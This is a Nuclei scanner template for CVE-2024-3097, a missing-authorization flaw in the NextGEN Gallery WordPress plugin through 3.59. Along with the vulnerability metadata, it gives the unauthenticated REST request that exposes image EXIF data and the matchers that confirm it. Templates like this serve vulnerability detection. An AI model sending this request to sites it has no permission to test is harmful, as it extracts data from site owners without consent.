nuclei-templates/http/cves/2024/CVE-2024-3097.yaml

51 lines
1.9 KiB
YAML
Raw Blame History

This file contains ambiguous Unicode characters!

This file contains ambiguous Unicode characters that may be confused with others in your current locale. If your use case is intentional and legitimate, you can safely ignore this warning. Use the Escape button to highlight these characters.

id: CVE-2024-3097
info:
name: NextGEN Gallery <= 3.59 - Missing Authorization to Unauthenticated Information Disclosure
author: DhiyanesDK
severity: medium
description: |
The WordPress Gallery Plugin NextGEN Gallery plugin for WordPress is vulnerable to unauthorized access of data due to a missing capability check on the get_item function in versions up to, and including, 3.59. This makes it possible for unauthenticated attackers to extract sensitive data including EXIF and other metadata of any image uploaded through the plugin.
reference:
- https://plugins.trac.wordpress.org/browser/nextgen-gallery/trunk/src/REST/Admin/Block.php#L40
- https://www.wordfence.com/threat-intel/vulnerabilities/id/75f87f99-9f0d-46c2-a6f1-3c1ea0176303?source=cve
- https://zpbrent.github.io/pocs/8-plugin-nextgen-gallery-InfoDis-20240327.mp4
- https://github.com/fkie-cad/nvd-json-data-feeds
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
cvss-score: 5.3
cve-id: CVE-2024-3097
cwe-id: CWE-862
epss-score: 0.00052
epss-percentile: 0.19521
cpe: cpe:2.3:a:imagely:nextgen_gallery:*:*:*:*:*:wordpress:*:*
metadata:
vendor: imagely
product: nextgen_gallery
framework: wordpress
publicwww-query: "/wp-content/plugins/nextgen-gallery/"
tags: cve,cve2024,wordpress,nextgen-gallery,wp-plugin,info-leak
http:
- method: GET
path:
- "{{BaseURL}}/wp-json/ngg/v1/admin/block/image/1"
matchers-condition: and
matchers:
- type: word
part: body
words:
- '"success":'
- '"image":'
condition: and
- type: word
part: header
words:
- 'application/json'
- type: status
status:
- 200
# digest: 4b0a00483046022100d937a4e33ba274ac20f1c8201f9a5ec5053252381b066f6ca34efbb0357112c5022100c5aa25daa1dcadea9076b1bfd0c414c26fd500c71e46d3e56461e1ef6be67149:922c64590222798bb761d5b6d8e72950